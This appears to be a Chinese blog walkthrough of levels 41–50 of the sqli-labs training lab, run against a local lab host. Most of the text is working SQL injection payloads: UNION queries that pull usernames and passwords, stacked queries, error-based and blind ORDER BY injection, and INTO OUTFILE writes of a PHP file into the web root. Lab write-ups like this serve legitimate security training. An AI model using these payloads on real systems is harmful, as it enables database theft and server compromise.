• sql-lib闯关秘籍之41-50关


    下面开始11-20关,之前不会的关卡可以参考我这几篇文章: sql-lib闯关秘籍之1-10关sql-lib闯关秘籍之11-20关sql-lib闯关秘籍之21-30关, sql-lib闯关秘籍之31-40关

    不管是第几关,我们的最终目标是获得用户密码,从而获取最高权限!

    以下的学习过程中如果遇到那里不会的或者不清楚的地方,欢迎大家留言,我将尽力帮助大家~

    第四十一关

    这关和第三十九关一样,只是错误没有回显

    获得版本和数据库名   ?id=0 union select 1,version(),database() %23

    获得表名    ?id=0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() %23

    获得列名     ?id=0 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 %23

    获取用户名密码  ?id=0 union select 1,group_concat(username),group_concat(password) from security.users where 1 %23

     也是可以堆叠注入的,堆叠注入语句   ?id=1;create table test41 like users;%23

     第四十二关

     熟悉的界面、

    本来想注册,但是好像不能

     这一关因为user设置了过滤函数mysqli_real_escape_string()
    所以我们在密码处构造

     login_user=1&login_password=longshisan';create table less42 like users#&mysubmit=Login  虽然你输入后会显示错误,但是我们的数据库中还是有的

     看看数据库,发现我们已经创建进去了

     第四十三关

    这关和四十二很想,我猜,可能就是变个引号括号啥的,后来发现就加个括号就可以啦

    login_user=1&login_password=longshisan');create table less43 like users#&mysubmit=Login

    虽然还是显示失败

     但是数据库有了

     第四十四关

    和第四十二关一样,只不过没有回显信息

     login_user=1&login_password=longshisan';create table less44 like users#&mysubmit=Login

     看数据库

     第四十五关

    和第四十三关一样,区别是没有回显

     login_user=1&login_password=longshisan');create table less45 like users#&mysubmit=Login

     数据库里也有了

     第四十六关

    到了order by注入 来看看哈,和之前的不一样啦,之前都是id,现在变成sort了,那咱们试一下

     ?sort=1试一下撒,哇,一下子用户名密码全出了了,咱们这不是不用努力了。。。那咱看看这关还能干啥

     既然要用order by语句进行注入,那首先我们通过asc 和desc查看返回数据是否相同来简单判断是否存在order  by注入

    为什么说他是order  by注入  因为在源代码中是这样的   $sql = "SELECT * FROM users ORDER BY $id";

    http://192.168.22.2/sqli-labs-master/Less-46/?sort=1+asc   (正序)

    http://192.168.22.2/sqli-labs-master/Less-46/?sort=1+desc    (倒序)

     

     我们首先想想我们应该怎样注入 ,我们呢来获取一下啊别的啥的东西版本数据库名啥的

    order by 后的数字可以作为一个注入点。也就是构造order by 后的一个语句,让该语句执行结果为一个数,我们尝试      

    没有报错,right换成left都一样,说明数字没有起作用,我们考虑布尔类型。此时我们可以用报错注入和延时注入

    ?sort=right(version(),1)     ?sort=left(version(),1) 效果是一样的

     此处可以直接构造 ?sort= 后面的一个参数。此时,我们可以有三种形式,

    ①直接添加注入语句,?sort=(select ******)

    ②利用一些函数。例如rand()函数等。?sort=rand(sql语句)

    Ps:此处我们可以展示一下rand(ture)和rand(false)的结果是不一样的。所以我们用rand来检查我们后面输入的是否对

     

    ③利用and,例如?sort=1 and (加sql语句)。

    同时,sql语句可以利用报错注入和延时注入的方式,语句我们可以很灵活的构造。

    报错注入

    获取数据库名    ?sort=1 and(updatexml(1,concat(0x7e,(select database())),0))

     获取数据库的权限

     

     

     ?sort=(select count(*) from information_schema.columns group by concat(0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))

    获得数据库版本          ?sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)

    布尔盲注

     盲注获取数据库第一个字的ascii码(其他的不再演示了)

     正则表达式注入 ?sort=1 ^(select(select version()) regexp '^5')发现版本

     时间盲注

    测试能不能时间注入?sort=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(5)))test))

    发现数据库的第一关字母?sort=1 and If(ascii(substr(database(),1,1))=116,0,sleep(3))

     发现这关还可以outfile进行写      ?sort=1 into outfile 'C:\phpStudy\WWW\sqli-labs-master\Less-46\longshisan.php'

     发现已经有了文件夹下已经有了

     里面是密码

     第四十七关

    和上一关一样,加个单引号就可以啦

    获取数据库使用权限

    ?sort=1'and (select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))--+

     获得数据库版本           ?sort=1'and (select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x)--+

     也可以程序分析参数后注入    ?sort=1'procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)--+

     当然也可以时间盲注  ?sort=1' and If(ascii(substr(database(),1,1))=116,0,sleep(3))--+

     第四十八关

    这关是盲注  order by 数字型盲注

    布尔盲注呀   ?sort=rand(ascii(left(database(),1))=178)

     时间盲注呀    ?sort=1  and If(ascii(substr(database(),1,1))=116,0,sleep(3))--+

     第四十九关

    这关是盲注   order by 字符型盲注,和四十六关一样,只不过没有错误回显

    我还发现就是在四十八关的基础上加上引号就行     ?sort=1'  and If(ascii(substr(database(),1,1))=116,0,sleep(3))--+

     这关还可以outfile进行写      ?sort=1 into outfile 'C:\phpStudy\WWW\sqli-labs-master\Less-49\longshisan.php'

    第五十关

    这关我们就用堆叠注入  1;create table test50 like users;%23

     去数据库里看,发现有了

     注入结束

    41-50关结束

    该文章有参考了以下的网页:

    SQL注入靶场sqli-labs 1-65关全部通关教程

    SQLi_Labs通关文档【1-65关】

     sqli-labs 1-65教程

    sqli-Labs————less-46(order by 之后的注入)

  • 相关阅读:
    手机端局部滚动问题 overflow-y:auto|scroll无效,使用iscroll解决
    h5 js 图片预览并判断 ajax上传
    安装一些包管理的记录 win10
    nginx php rewrite配置
    记一次u盘 无法格式化、0字节、写保护的解决过程
    erlang,elixir安装
    Redis详解:lists数据类型及操作
    redis类型[string 、list 、 set 、sorted set 、hash]
    java 生成Word文档
    mysql 获取当前月最后一天和第一天
  • 原文地址:https://www.cnblogs.com/longshisan/p/12235597.html
Copyright © 2020-2023  润新知